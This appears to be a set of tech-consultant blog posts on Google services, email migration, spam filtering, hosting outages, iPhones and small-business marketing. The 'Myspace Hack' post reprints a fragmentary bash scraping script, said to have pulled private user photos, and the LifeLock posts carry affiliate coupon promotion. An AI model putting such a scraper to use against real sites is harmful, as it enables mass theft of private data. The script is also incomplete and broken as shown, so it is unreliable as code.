Google Announces +1

I wrote last time about Google Offers and today they have finally released it to the public. Floyd’s Coffee Shop in Portland is the first official Google offers location.  As I was writing this the number of remaining went down from 425 to 395 in about 20 minutes…so congratulations to both of you.

Now I wanted to give you a few more updates from the big brains at Google that happened in May 2011. On the heels of Google Offers, Google has just announced another service called Google Wallet.  This is their take on the next generation of smart phones with contactless smart card technology (sort of like the old Mobil gas station speed pass) that will make.

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Migrating Email to Google Apps

I just helped a friend migrate her email to a Google Apps Hosted account.  While there are a number of ways to migrate your existing email to a Google Apps account I have found that using the unix command line software called larch is the easiest way to do it.

This is for migrating email on a hosted domain so it was a FQDN – fully qualified domain name vs. shifting a user account to a domain.

After reading the larch man pages I came up with the following command line option to sync between a 1-and-1 account and Google Apps Hosted email account.

larch –from imaps:// –to imaps:// –all –from-user [email protected] –from-pass password –to-pass password –to-user [email protected]

It took about 20 minutes to run and migrate about 4000 email account and sub folders. There were some error messages about Net::IMAP::BadResponseError: Could not parse command (giving up) but I did not really worry about them.  I saw the folders that were having problems and they were from some archived email that she had – so I was not going to worry about them

[Apr 18 15:53:38] [info] 0 message(s) copied, 40 failed, 4242 untouched out of 4282 total

After the migration I logged into my google apps hosted account and made sure that the mail was migrated.  After checking I changed MX records for the Google SMTP servers and the entire migration process was completed.

Google Voice Now For Cell Phones

My favorite Google Voice feature is the ability to have all of my voice-mails transcribed and emailed to me. Most of the time there is about an  eighty percent accuracy, or when it stumbles I can listen to the audio directly.  For me it is a huge time saver when I am on the road or at a conference.

One of my biggest failings with Google Voice is that it was just not able to handle the voice-mail of my most common phone…my cell phone.  Well the folks at Google have done it again and that feature is now available  your cell phone  because of a a new Google Voice feature.

The way it works is that Google handles the call via the remote call forward feature, the person on the other end of the phone hears a short announcement that Google Voice is trying to locate you, then your phone greeting is played and Google intercepts the recording.  I must admit that this is pretty slick!  I used to use a service to transcribe my emails but having the power of Google – this tops my list of favorite new cloud services.

To activate, click on the settings button in your Google Voice account and if you have your cell phone defined there will be an option to activate the service on your account.  You then have to identify your phone Carrier, mine is Sprint and then you enter in a string of numbers to enable remote call forwarding.

The entire process took about 45 seconds to complete, and now I get my voice-mail transcribed and emailed to my phone. You do loose the ability to call into your Sprint voice-mail and retrieve your messages – but I have not yet encountered an issue where I needed to worry about this.

Insuring your E-Business Success

I have a number of clients who have equipment colocated all over the country, these sites range from individual and corporate blogs, e-commerce websites and even a customer that does 50 million in product revenue from house hold items. On the surface it may not seem like these sites have anything in common, except that all demand that they websites are always availible.

As a technology consultant I have to plan for the unlikely or the unreasonable while balancing this against the possible and probable. A consultant needs to balance what is likely to happen but plan for the unlikely. Here is a perfect example from this weekend.

There is a HUGE colocation provider located in Texas called The Planet that has near 100% historical uptime. They are located in a part of the country that is not prone to flooding, fire, tornadoes, hurricanes or even earthquakes – they seem like an excellent choice for a safe, reliable and cost effective service provider. They have all of the industry standard redundancies for Internet, environmental controls and security. They also stated that they had best of breed power systems, well this weekend – this failed.

Their data center literally had an explosion! According to The Planet website a piece of electrical gear shorted out and created an explosion that knocked down three walls of their electrical equipment room.

No injuries were reported and no servers were damaged or lost. But about 9000 servers were powered down and inaccessible from Internet. This means that tens of thousands of businesses were affected.

With a down server you could be offline for hours or even days. I still trust the planet Sometimes bad things just happen I bet that more than 99% of you have no idea when your website goes down.

Here is a quick tip: I monitor all of my clients critical servers with an online service called Pingdom, there a a few of these services out there but this seems to be the most reliable that I have found. On Saturday I received about 60 SMS messages to my Blackberry – I got in touch with technical support and then notified the affected clients. From my standpoint, it is better to be informed proactively than reactively.

The lesson here is, make sure that you or a member of your team gets proactively notified every time there is an issue with your website AND your mail server!

  • Make sure this goes to email and to SMS
  • Have the contact information about the service provider
  • Have your contract or account number
  • Your IT company and Staff should not be the only people getting these alerts
  • Do you have current online backups of your critical business data.

If you have suggestions for other monitoring systems, colocation providers or ways that smaller businesses can handle these situations let me know.

Lifelock – Who To Trust? The Lawyers or the Company

It really makes it difficult to find a product that performs as advertised, when you do you hang on and advocate it whenever possible. As a happy subscriber for a few years now, I have felt protected, not only when I get the confirmations from the credit companies but also when I try to apply for new accounts and I get a call from a Lifelock representative that they are doing what they promised they would do.

Basically I am 100% satisfied with the service that they are providing to me.

The press, the attorneys and Lifelock corporate have been caught in a bit of a scandal. Some are claiming that the service does not perform as advertised and then there is the response.

From the Lawyers

Todd Davis has dared criminals for two years to try stealing his identity: Ads for his fraud-prevention company, LifeLock, even offer his Social Security number next to his smiling mug.

Now, Lifelock customers in Maryland, New Jersey and West Virginia are suing Davis, claiming his service didn’t work as promised and he knew it wouldn’t, because the service had failed even him.

Attorney David Paris said he found records of other people applying for or receiving driver’s licenses at least 20 times using Davis’ Social Security number, though some of the applications may have been rejected because data in them didn’t match what the Social Security Administration had on file.

Davis acknowledged in an interview with The Associated Press that his stunt has led to at least 87 instances in which people have tried to steal his identity, and one succeeded: a guy in Texas who duped an online payday loan operation last year into giving him $500 using Davis’ Social Security number.

Paris said the fact Davis’ records were compromised at all supports the claim that Tempe, Ariz.-based LifeLock doesn’t provide the comprehensive protection its advertisements say it does.

”It’s further evidence of the ineffectiveness of the services that LifeLock advertises,” said Paris, who is lead attorney on the three new lawsuits, the latest of which was filed this month…..

From the perspective:

“My identity has been completely protected by LifeLock and I am as confident as ever about the LifeLock service”, says Todd Davis, CEO of LifeLock. “It is shocking that completely untrue statements about our company, the protection we provide and my personal identity are being repeated from a lawyer looking to create a case that clearly is not in the best interest of consumers.”

According to the FTC, nearly 3% of Americans are victims of identity theft each year. With over one million LifeLock members, you could expect LifeLock to have 30,000 victims. But as clear evidence LifeLock really works, only 105 individuals have been the victim of identity theft. In fact, among the 105 who have reported an identity theft, every single one has been covered under the LifeLock service guarantee….

Recent claims have suggested that Davis’ social security number has been used at least 20 times to obtain drivers licenses and other credit. Davis explained, “These claims are completely untrue and reflect total inexperience and lack of understanding of how credit files and identities work. While there have been more than 100 attempts to use my identity information, none of these recorded in the credit files resulted in any loss for me. However, a check cashing company failed to properly follow procedures and verify the identity of a thief in 2007, resulting in a person being able to cash a check for $500. Let’s be clear, there is currently no form of identity protection that would prevent this from happening, but this is why LifeLock serves such an important protection for consumers. The LifeLock guarantee served me as it serves all LifeLock members, what identity theft LifeLock can’t prevent, it will fix at LifeLock’s expense up to one million dollars.”

“As of today, there have been only four individuals out of over one million LifeLock members who have alleged they are dissatisfied with LifeLock as part of class action lawsuits. However, none of these individuals appear dissatisfied enough to cancel their service or even ask for a refund. We have done an excellent job of serving all our members and even those four people must agree. In the some of the recent challenges to LifeLock, you have to ask yourself, what is the motivation behind the lawsuits?”

Not sure of which side to listen to? Me either, but I love the service and if you are looking for to try it out here is a Lifelock Coupon that gets you $21 off and the first 60 days free and here is a Lifelock Discount for 90 days free and $110 per year.

I am a user, I love the service. My folks are getting a little older and I got them both accounts, for $10 per month, it really is an extra level of protection.

So you’re LinkedIn – Who Cares!

A client of mine David called me just this week and said “Hey I have just joined, I have about a dozen new connections…now what?” And I had absolutely nothing to say to him. No guidance for his next steps, no reassurance that there are untold fortunes in each of those connections. As I though about my experience with the social networking site for business and realized that I have no idea on how to actually use it! So I went online and found a few tips about LinkedIn that all users should really know.

Guy Kawasaki wrote about giving your profile an extreme makeover read it to give yourself a head start on the process of actually using LinkedIn to build your business.

Mr. Kawasaki also posted his ten ways to use the network. My favorites are number 3 and 5, Improve your Google Pagerank and perform blind, “reverse,” and company reference checks.

Then I stumbled on Jill Konrath and her website She has an amazing free ebook that really hits the heart of the LinkedIn craze called “Can LinkedIn Increase your sales?” In about fifteen minutes my whole outlook on social networking for business changed.

What I was able to distill is that LinkedIn is your online research library for real work connections. You have to take the conversation ‘off-line’ for it to be effective. E.T Phone Home Spot your target, hone your skills, master your approach and then strike. But when you strike, be like E.T. The Extra Terrestrial and phone home. Leverage the information to lessen the time it takes to get your foot in the door.

‘Increase your visibility. Don’t simply add people to your network. Ask or answer questions on LinkedIn. Make sure your public profile is complete. But most of all recommend people in your network and ask them to recommend YOU! Anytime you do any of the above, LinkedIn posts updates online or in weekly updates to everyone in your network.’

I also found the contrary 3 reasons that LinkedIn won’t help you sell What I have learned about life is that for every great idea there are always 3 good reasons why it won’t work.

View Brad Slavin's profile on LinkedIn

Feel free to add me as a connection. Who knows, maybe I know someone that knows someone that you would really like to be introduced to. You never know.

Go Green in the Office for Earth Day

Happy Earth Day 2008 ! Here are some tips on saving energy in the workplace.

The average desktop computer uses about 120 Watts (the monitor uses 75 Watts, and the CPU uses 45 Watts.) Laptops use considerably less, around 30 Watts total.

A common misconception about power saving is the belief that computers and monitors purchased with the Energy Star logo are already energy efficient. What is really means is that they have built in energy conservation features but your computer cannot take full advantage of these built in energy saving mechanisms until the power management features are enabled and configured. energysavingszzz20060420.gif

Here is my list of top computer energy savings tips:

1. Enable the power management of your monitor. Set your computer to power down your monitor after 15 minutes. Instead of setting up the screen saver to come on, have it shut down your monitor.
2. During lunch, shut your monitor off completely. Have a power lunch, without the power.
3. At the end of the night, shut down your computer, monitor, and personal printer or place them in a standby mode.
4. Unplug or power down idle computer peripherals like scanners or printers when they’re not in use.
5. Turn off your computer at night and when you are not using it for several hours.
6. New computer consume less power than machines that are just a few years old.
7. If you buy a new computer, consider a laptop. Laptops use only 1/4 the energy.
8. If you buy a new monitor, consider a flat screen. It uses only 1/3 the energy.

To enable power management for your computer check out

In the Office

  • Turn off the lights in rooms that are not in use. Install occupancy sensors or turn off lights when not needed. Occupancy sensors have been shown to save up to 30 percent on lighting costs during normal working hours.
  • Wherever practical, use a task light instead of the overhead lighting.
  • Make sure the office copier is turned off at night.
  • Reprogram the thermostat. Each degree warmer you leave the thermostat in summer, and each degree cooler you set it in the winter can save 6 to 8 percent in energy costs.
  • Look into telecommuting. Every commute not taken saves on money, time and fossil fuel. Plus, studies have found that telecommuting boosts productivity too.

Chick It Up

As a technologist there is nothing that I hate more than technology when I am having a problem. Specifically I am talking about voice mail and auto-responders from help desk or other impersonal systems. Do you feel that impersonal voice mail and the instant response acknowledging that I have a problem is good enough? Does this really show that you value me as a customer?


Some businesses that I have consulted with feel that the instant gratification of these systems is actually disconnecting you from your customers. It is convenience at the expense of real connection. Bottom line, your bottom line will eventually suffer because your connection to the customer is impersonal and automated. Get back to personal and make sure that your company is Easy To Do Business With or ETDBW.

Cost Cutting

I have heard the arguments, the complaints that costs are rising for employees and ‘automation really should be able to handle’ the basic needs of routing calls and auto-responding to customer emails. I agree costs are rising, and so is competition. When times get tougher people want to cut back, my feelings mirror those of Former CEO Jack Miller who founded Quill (Worlds largest stationary store – sold to Staples) who said that he would cut costs as long as it did not impact the quality of his product or his customers experience. So the message is do cut so deep that it impacts who you are to your customers. Turn off lights, stop providing free coffee, do anything before you impact your customers.

Frustration Sets In

Call RubyJust think of the last time you send an email, got the auto-responder saying that your issue would be handled and a few days later you had not heard a thing?! You then pick up the phone and wind up in voice mail routing hell, and you never really get to speak to someone that can answer your questions!
YOUR CUSTOMER ARE LOOKING FOR BUSINESSES that are ETDBW and voice mails, impersonal invoices and blind auto-responders are a sure sign that there is trouble looming. Next time try pressing ‘0’ to see if you actually get a live person.

Get Some Curve Appeal

Fix these issues with a trend that I affectionately call chick it up to give your company some curve appeal. Studies have shown that customers relate well to real people or even the perception of a REAL person helping them who can be accountable is a huge booster in confidence and satisfaction. In your business it does not have to really be an individual but it can be a team, but for heavens sake don’t have your trouble tickets, or invoices signed off:

Thank you,
Support Department or Customer Care or Accounting Group

Think of how much more appealing the same auto-responder would be if it were signed:

Customer Advocate
Call me at: 800.555.1212 if you need personal attention.

Looking for Heather

When someone calls looking for Heather, tell them that she is on the other line but you would be HAPPY TO PERSONALLY HELP THEM OUT WITH THE ISSUE. At this point reconnect with the customer and find out how you can HELP! Think Customer focus, customer satisfaction. Oh and by the way, customers are more likely to be respond appropriately when they feel that there is a PERSON on the other end of the email and not just some huge company robot that grinds up their requests. Make it personal, chick it up

It’s the phone. Stupid.

Ruby LogoMy other suggestion for voicemail hell is a real live receptionist. Someone that picks up the phone in one or two rings, says hello and asks the customer who they would like to speak with. I know we have moved away from this and no company really wants the overhead of call routing. Having a live person taking that initial call from a customer is priceless in terms of value and costs less than $2.00 per minute to have it handled professionally. A dynamic company called Ruby Receptionistshandles your incoming call routing professionally and with a script that you provide on how to greet and handle your customers as well as how to route your calls.

Better than Machines

Ruby works with organizations to answer and route their phone calls with a live receptionist that picks up in about two rings. You provide a script and an escalation tree heck even if the call gets routed to your support queue or to voicemail, at lease it was picked up by a real live person, who cares.

I have three clients who could not be happier with Ruby, it gives them an edge on the competitors and MOST importantly it gives their customers a friendly voice and a bit of curve appeal.

Give it to me Baby

Give your customers what they want. Your company provides an excellent product with a good value and NOW you can provide that extra personal attention. Start updating your impersonal and automated emails like billing notices, support requests, product auto-responders to have an individual appeal. Then take a look at your voice mail system and make sure that you are ETDBW.

Your iPhones Sucks

Despite what some clients believe I do not work for Blackberry nor for Microsoft! I do however have some pretty strong opinions about the iPhone and their rapid adoption as the ‘must have CEO’ device. It is a real love / hate relationship; One the one hand they are the most elegant, powerful and purpose build devices that exist in the marketplace. The iPhone is the number one consumer electronic device.

The phone is masterful at web browsing, turning heads and having extensibility for third party applications. It is really the most potent pocket computer and it has changed the expectations that we have of a phone and a rich media device. However it is not ready for Corporate prime time!

If you own one you already know it’s the best browser, not the best business PDA.

Your IT people already know this, but tens of thousands of CEO’s are creating havoc on your mail servers, your corporate security policies and their good nature. The one thing the phone has going for it is that your IT people love Apple so they are willing (but not happy) to put up with it. Oh yea, they also want one when it finally syncs with the corporate mail server.

The technology that the phone is lacking is called direct “Exchange Server Push” this means that your phone gets email pushed to it as soon as it comes in within a few seconds. The way that the phone currently works is that the phone connects every few minutes to the server and then checks to see if there is any new email. Not as efficient nor as fast as the push technology. Apple wants it, and so does everyone else.

You must be wondering why I am making such a big deal about this? Well it because most businesses are needing to adjust their firewall / spam filtering policies to allow access to the iPhone for IMAP and SMTP connections. The iPhone also does not have a sophisticated anti-spam feature like most modern email clients so phone inboxes are getting plagued with spam. Nothing like 1,000 new Viagra and Trouser Snake emails on your phone when you wake up!


Security is also a huge concern, with phones like the Blackberry or Windows Mobile your handset can be remotely erased if it gets lost. Not so with the iPhone. Think about it most desired phone on the market, and with a $500 price point mainly executives are going to own them; and there is a lot of sensitive information on them.

As dedicated and caring IT people we know that the phone is amazing, we know that you just have to have it.. but understand that there are limitations. Using iTunes to sync contacts and calendars is taking a step backwards and it becomes another one off software application that we have to support.

I know of a number of execs that are running iPhones as their personal phones / browsers but still keep Blackberries on their hips to keep in touch with the office. Do I believe that the trend will continue? I know that Apple will be releasing the software in the next major version to support syncing with Microsoft Exchange Server.

My advice if you have to have the have to have phone; go ahead and get it but remember your poor IT staff along the way. For the Enterprise the security issues and the lack of push email would keep me from endorsing it whole-heartedly. The other issue is that the phone is tied only to the ATT network. The phone is not perfect, it is getting there but it is not the best PDA on the market for corporate users.

Wait a few months, get the latest software revision pre-installed and keep an eye on your phone. Or get a Blackberry 🙂

Blackberry 8800

50 Muse Ideas for the 4 Hour Work Week

Muse Ideas
1. private label rights
2. 4HWW template
3. website MCAT and LSAT
4. online scuba diving log
5. sell your house DVD
6. yoga for [niche]
7. fitness bootcamp
8. how to buy a motorcycle
9. cancer fighting
10. home valet butler
11. outsource brokerage for virtual assistants
12. hangover helper – hangover water
13. selling supplements
14. chart of weight loss – wireless scale
15. party kits
16. recipes to cell phones at dinner time
17. fridge inventory keeper
18. projects like
19. workout log book
20. 4HWW t-shirts
21. 4HWW travel agency
22. 4HWW concierge – new rich concierge
23. eating healthy DVD
24. affirmation jewelry
25. 4HWW affirmation cards
26. Business Magnets of beautiful art
27. synchronize IE and FF
28. vitamin water
29. cars – anything
30. pets exerciser
31. 4HWW meets New Earth
32. marriage restoration kit
33. 4HWW wiki
34. calorie counter – bar code checker
35. new rich book club
36. 4HWW mashup
37. 4HWW calendar (concept of 4HWW hydra came up)
38. digital birthday reminder for perpetual calendar
39. upload photos
40. 4HWW online survey for your muse
41. digital/physical birthday reminders and ideas
42. digital photo frame with pre-loaded photos/categories
43. interactive coaching sessions
44. SMS digital messages – personal daily horoscopes
45. anti-spam for iphone – software
46. hats – hot pants – yoga wear – babies “made in America” items
47. gas prices SMS to phone for closest cheapest stations
48. 4HWW live the lifestyle weekends
49. yoga for the bedroom
50. 4HWW brainstorming – MUSE makers kit – brainstorming facilitation

Changing the Group Dynamics – 4 Hour Work Week

Attention Fellow 4-Hour Work Week Aficionados.

So far people have shown great participation in the 4HWW meetup many people are engaged in this active dialog on a monthly basis. I feel that the original intention of the group which is to provide a supportive forum and the tools to be successful has become blurred. I have been doing a lot of thinking since the last meeting and I feel that I went down the wrong path with the chapter a month format!
This is NOT a book club, this is an action group that would like to excel and actually cause results…and with that as the motivation this is what I propose.

I would like to do a complete shift of the 4HWW meetup to be something extraordinary; something passionate and something that we can all find value in. Going through the book as a review is just not as valuable as ACTUALLY DOING IT. I need to be moving my own life towards the goals that Timothy outlines and by PASSIVELY meeting about the book I know that I am not going to get there, and most of you will not get there either.
I was trying to be a helping hand, a guide and a resource because of my experience and how passionate I am about the book. I have realized that too many people are at too many levels to make this sccessful for everyone WITHOUT focusing on a PROJECT.

So I am hereby switching the focus of the group from a DISCUSSION of the 4-Hour Work Week to a HANDS ON group that uses the book as a guide to bring a product to market. YES, you heard me correctly the new focus of the group is to MUTUALLY create a Muse, outsource a website, start an Adwords account,test our product, refine our market and learn by DOING each of the steps. Each person who participates will be able to IMMEDIATELY take the knowledge learned in the forum and apply it to their own 4HWW Dream.

We will no longer be sitting on the sidelines but we will be DEVELOPING and LAUNCHING our own site and product. I am requesting that people donate $10 per meeting for a fund that allows us to outsource web design, run Google ads, register a domain, host the website etc. And actually create and outsource a product and its marketing! This would be the BEST and fastest way to learn the skills to be successful in your own projects.

I will need help developing an active syllabus for all of us to follow. I have the basics; I just need someone to help with formatting. I also need someone to act as the assistant to the group to keep track of payments, attendance and to track projects.

If you have any prior experience in any part of setting up an ecommerce site, product development, Google Ads, outsourcing your input will be very very valuable. If you have a specific skill, we can have you present this skill or experience to the whole group.

iPaper a New Web Document Format

iPaper from Scribd has launched an online document viewer that some are claiming will be the Adobe Acrobat killer. Scribd is claiming to have a superior product for online document publishing and after taking a test drive I have to agree that they are on to something here. The concept for the technology came from a piece of software called FlashPaper from Macromedia. When Macomedia was acquired by Adobe the development of FlashPaper was halted, iPaper takes the concept to the next level. iPaper builds on the features of PDF, including full text search, copy/paste functionality, view modes, and zoom and embeds their functionality into the webpage.


iPaper is more than just a way to view PDF’s and documents inline on a web page, it has the ability to handle Microsoft Office documents, including Word, Excel and Powerpoint presentations. They also have support for OpenOffice documents, imbedded JPEG images, plain text files, PostScript files and but do not support Office 2007 docx format yet. You need to save it in a previous version and upload the files.

Cross Platform Document Support

One of the major shortcoming that I can see for iPaper is the requirement that they host your documents and you are simply displaying the compiled link to your document that they host. Not a real deal breaker, but it will stop some organizations from switching due to security, copyright or DRM concerns. Scribd utilizes the Amazon S3 storage subsystem for reliability and scalability. Your content is probably safer and will get served faster from Scribd than from your web hosting provider.

Scribd has a single snippet of code that can be used on any website to convert the existing documents to iPaper format, they call this technology QuickSwitch. The way that QuickSwitch works is by parsing the content on your website, uploading it to the Scribd server and allowing you to choose how to display the iPaper content onto your website. There are one of four ways that QuickSwitch can display your documents; a full screen iPaper hosted document, links to your iPaper documents, they can replace and embed iPaper over your existing document links or convert documents and embed documents in custom pages on your website.

The primary reason that I have taken any interest in this new format is the possibility of embedding and monetizing the content from your existing documents. Yep, context sensitive ads served directly to your readers from your documents. Scribus will pay you for allowing them to display these ads on your pages. This is an option but the monetization of documents has really not even begun yet. It is nice to see that there are startups that recognize that good content is powerful and that advertiser are willing to pay for engaged readers. Just imaging reading a DIY on how to build a coffee table and you get ads from a furniture store or a big chain home improvement superstore?

The possibilities are really endless when it comes to marketing via web documents, Adobe and Microsoft are experimenting with this technology but I have not seen or used it yet. Your thoughts are always welcomed.

Google Spam Filtering with Postini

Dare I say that they have done it again? Has google rewritten the rules for spam filtering for business? Googles press release as of today has some interesting announcements about how they plan to simplify the business of email security and message discovery. Does this mean that my article about spam filtering that was written a week ago completely invalid at this point? Will Spam be cured by the big brains over at Google?

Not exactly What it means is that companies like St. Bernard software, MXLogic and CudaMail will be getting a shake up.

What Google has done is dramatically improved the price point, scalability and reliability of the Software as a Service (SAS) model for email filtering. The way that this works is a company continues to host their own email servers, or they have an ISP that hosts it for them and they send their mail to be sanitized from Spam and Viruses before the content even makes it to the ISP. Think of it like a “super receptionist” that opens each and every piece of mail that is addressed to your office and determines that it is valid before sending it on up to the intended recipients. The problem is her trash can gets filled every day, five…ten…fifteen times each day and it clutters up the office. She does her work extremely well, but the trash lands up in your trash can.

Now imagine that this “super receptionist” is sitting at the post office and she is sifting your mail and determining what should be put onto the truck and delivered to your office. Her job is to sort mail AND to keep your trash (spam folder) almost completely empty. Sometimes she makes a mistake and some spam gets delivered to you, and you open it because you are so used to 99.99% of your mail being valid OR sometimes she misclassifies something important as SPAM and you never get to see it…

Either way filtering your mail at the post office also referred to as the CLOUD is the most efficient way to handle your spam. They update the software and keep all the antivirus rules up to date without the need for an annual software plan from your antivirus vendor.

A little Google propaganda but it is true.

Scanning for Spam in the cloud is my personal choice as a best of breed service, but it does not negate the need for network based antivirus solutions. Its great for SPAM, not always the best solution to protect against viruses and trojans.

Unless you need customized rules for your spam filtering, outbound smtp filtering or specific attachment blocking – go with the basic service.

You can see all of the options at the Google Apps information portal.

My bottom line suggestion: This is the best of breed solution right now. If you don’t have spam protection, sign up and get it. IF you have spam services already SWITCH.

Touching Your Customers

I am sitting here reading the February 4th edition of the San Diego Union Tribune (yes, I research and write my own newsletters, I don’t outsource this to India; Yet!) and there is an interesting article about businesses that remember your birthday and get in contact with you to help celebrate your day.

The article is about a person who gets a phone call on their birthday and it’s from the car dealer that he make a purchase at two years ago. His wife has a birthday a few days before and she gets gift certificates from the stores that she goes to. The article is really not well written but the implication is clear. Touching the customer at significant and memorable moments can have long lasting effects. A message during the holidays or on a birthday is memorable studies show that your customer requires multiple touches during the year for you to keep their attention. This is why large companies have loyalty programs, but most smaller businesses don’t have the budgets to support these plans.

Here is my quick guide to creating a program that touches your clients to increase sales and customer loyalty. I am NOT a proponent for traditional loyalty programs but I do want you to touch your customers and grow your bottom line. Customer Loyalty Cards If you are interested in a traditional loyalty program with cards take a look at Valutec these programs take a while to get up and running, but can be effective.

12 Touches Per Year

My recommendation is to touch your clients no less than twelve times per year, this can be with postcards, letters or the easy route with e-mail messages. I suggest that you mix things up, I touch my customers at least 42 times per year via email and four times per year with a “personal letter”; and once per quarter via postcards and customer satisfaction surveys. For an amazing postcard company I use Modern Postcard Modern Postcard. You can mail 500 Sumo sized postcards for about $500. These really make a huge impact.

If nothing more you should send emails to your customers once a month. Update them with what is going on in your business, or what is going on in your industry. Remember to ask permission and to make it easy to unsubscribe.

Use the Web

Communicate with your customers with a blog, it is a simple way to get your message out to your readers. Just think, your first email to your clients can be the announcement that you have a new blog. Take a look at my friend Drew Burks of Dream Design Realty, I helped him to setup his blog a few weeks ago. He is taking charge of his message to communicate with his clients; His business has changed in the last few years, but he is taking steps to maximize the value of his exiting customer base and attract new clients.

One you have started touching your customers, spice it up with a satisfaction survey. I like using or SurveyMonkey.

Pick up the Phone

Ok, so your not very good with computers or you are not interested in spending a few hundred bucks to have a blog or newsletter setup for you. Do the easiest and most effective way to reach out and touch your clients. Pick up a phone and call. See how they react to your personal attention. Most people would love to hear from you. My suggestion is to keep it up, one phone call a year is not frequent enough to make a measurable difference. Use a process to track when you call your customers, think about software like Goldmine, Act or

Take Action Today

If you are struggling to think of ways to effectively touch your customers. I have a package that includes a blog for your company, a newsletter template and marketing ideas that are customized for your company. I guarantee that you will be running in a few days for just $379. I have a Masters Degree in Marketing and have dozens of clients that can attest to the results of being proactive with your marketing.

Starbucks Gift Card

If you are not ready to reach out and touch your clients I can appreciate your fear. When you are ready, you can give me a call. I would like to add you to my birthday list. Last month I sent out Starbucks cards! Email me your details.

SPAM Filtering: A reference for the rest of us.

Fighting SPAM has never been easier and harder at the same time. I know that it sounds like a contradiction but there is so much technology out there to protect you from spam that it is tough to know what actually works.

We have managed thousands of individual mailboxes over the years and there seems to be Three major approaches to fighting SPAM. They are: Desktop, Server and in the Cloud or appliance solutions. I am going to give you my recommendation for each of the services. And then my bottom line advice and watch out for a huge curve ball.

Desktop Filtering

Outlook 2007 BoxDesktop anti-spam gives the user the greatest level of control over their SPAM policy and rules. It runs directly on the desktop and acts like a filter between your inbox and your email software. Most of the time these solutions work quite well, and by quite well I mean that the end user actually sees that there is something happening and their SPAM folder is catching nefarious emails. The big problem is that the filtering is happening at the client PC and it does nothing to combat the actual source of the email. It just SORTS and judges the mail, so what you basically get is a great sieve that catches and classifies email. Not elegant but it most certainly works. I like the powerful filtering of Outlook 2003 and above.. Yep Outlook has a fantastic spam catching engine and the best thing is the price.. Free!

Cloudmark LogoMy runner up for this service is Cloudmark Desktop edition, at $39.95 it is a steal if you Outlook is not keeping up with your crazy emails the only reason that this is a second choice is because the price tag is a little high if you have more than a few machines.

Server Based SPAM Filters

GFI MailSecurityMost of you are running a Windows Server and if you are running Windows Server chances are you are also running Exchange Server so this is where I am going to focus my attention. The majority of our clients use Symantec Mail Security for Exchange and it had been doing a pretty good job until recently with the new breed of image based spam. So we have been looking at GFI MailEssentials which seems to be a more comprehensive solution for anti-spam on an Exchange Server. I would have said that the Symantec product is the better choice but I don’t have confidence that they will deliver a product that will solve the problems of SMB’s. They have really upset an entire community with their new Endpoint Security product that causes stability issues. If you need to choose a new filter go with GFI, it is stable and the updates usually address the common spam issues.

SPAM Appliances


When it comes to appliance based filtering the clear market leader in terms of name recognition is the Barracuda. This is a GREAT filtering appliance and if you want to buy the best BRAND then buy this. But if you want an appliance that catches more spam and is actually more potent I suggest the MailFoundry. I met these guys a few years ago at ISPcon; a conference for Internet Service Providers and I have deployed a number of them for our clients. Clean install, with very little fuss and a very potent scanning engine. If only their marketing budget was as good as their product: They would rule the world.

Scanning in the Clouds

If you want the benefits of a scanning appliance but none of the up front costs consider a SAS (Software as A Service) provider like St. Bernard Software and their LivePrism service. (We use them for our office and love them) or a service provider that hosts an appliance for you. There are a number of companies that will host a barracuda or mailfoundry for your office. ST.Bernard LivePrism You pay a simple monthly service cost and they filter your mail before it even touches your network. You get the best of both worlds, but you may not get the configurable that you need and tech support can be problematic if you rely solely on them to debug email issues. My vote for this would be St. Bernard’s LivePrism because it just works and is a dream to setup and each person can manage their own quarantine section.

The Bottom Line

If your ISP hosts your email then you are stuck with a desktop solution. If you have less than 10 users and don’t mind managing your own black / white lists and you have Exchange then GFI Mail Essentials, but if you can afford the $1200 or so get an appliance.

Google AppsOr just switch your entire company to Google Apps and get the best of breed spam, anti-virus filtering from everyone’s favorite company GOOGLE.

You get the filtering capability of GMAIL Amazing! with your own domain name for ZERO, Zip, Nada or FREE. And get Webmail and calendaring right out of the box. Call me and I can help you switch to the most reliable email provider in the world.

Myspace Hack and Identity Theft

This may seem like random lines to a lot of you, but it is the code to the largest theft of private user data to date.

#! /bin/bash
for ((; a <= LIMIT ; a++)) do curl -s -d user=$a > view$LIMIT
if [ `grep -o 'Pictures: [0-9]*' view$LIMIT | awk '{ print $2 }'` -ne 0 ]
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT | wget -q -i - -P ./$dir/
echo $a >> listwpics
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT >> listwpics
echo $a
mv view$LIMIT ./html4/$a.html
rm view$LIMIT

A 17-gigabyte file that contains more than half a million previously private images that were pick pocketed from Myspace is out in the wild and downloadable via BitTorrent. This privacy breach if true would be the largest security exploit on the web 2.0 social networking site.

It seems that Myspace has responded by patching the security holes, but thats like closing the barn door after the cows have escaped. To little to late.

With the amount of personal data that these site have, there should be a greater effort in enforcing user privacy and stiffer penalties for not protecting private data. This time it was just pictures, next time on a different site it could be credit card details or social security numbers.

Lifelock Discount CodeI personally use Lifelock to defend me from these ever popular data thefts. Click if you want a 30 Day free and $21 off lifelock coupon code, protect your identity before some hacker buys a new flat screen with your credit info!

8 Top Things You Need to Know about 2008 Server

For those of you who have been long time subscribers to TechTalk you know that I am not a fan of Microsoft Windows Vista. In fact I think it is the one piece of Microsoft software that actually hinders business productivity. I have clients who switch almost every week from Vista back to XP, because of performance issues. More than a year after its release it is still not production ready. No wonder so many people are switching to the Mac. With that said, not everything that comes out of Redmond lately hurts productivity.

I have been working with Windows 2008 Server for about two months now in its pre-release format and I have to tell you, that they have got it right.  Sure there are bound to be bugs, but it will be well worth the upgrade.  If you want to skip this email and get on with your day, feel free knowing that my recommendation will be to upgrade to 08 in 08. I just want you to wait until the second quarter.

Faster File Sharing

The SMB (Server Message Block) protocol has been upgraded to version 2.  The previous version that is still in use today was developed 15 years ago and had some serious shortcomings.  SMB 2.0 will more than double the speed of your file transfers.  The big problem is that the only desktop operating system that runs SMB 2.0 is Windows Vista at this time. I expect that this will trickle down eventually into other operating systems, but who knows. For those of you who are running Vista, the speed increase will be immediately noticeable.


I have already written about Server Virtualization but now Microsoft has made it part of the operating system. No more third party tools required to experience the benefits of virtual servers. There are third party tools that will help to round out their offering, but they will be more cost effective than the VMWare alternative. Having virtualization built into the heart of the operating system will increase its stability and really help this technology thrive. If you are going to use virtualization, make sure that you remember it requires a 64Bit CPU, my suggestion would be the Intel VT or the AMD Pacifica.

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DISC Wireless Still Down

I was hoping that DISC Wireless would have been able to restart their service this weekend but it seems that they are still running into problems with XO Communications. I am still not certain about the nature of the outage but for an ISP to be down for about eight days, it had to have been big.

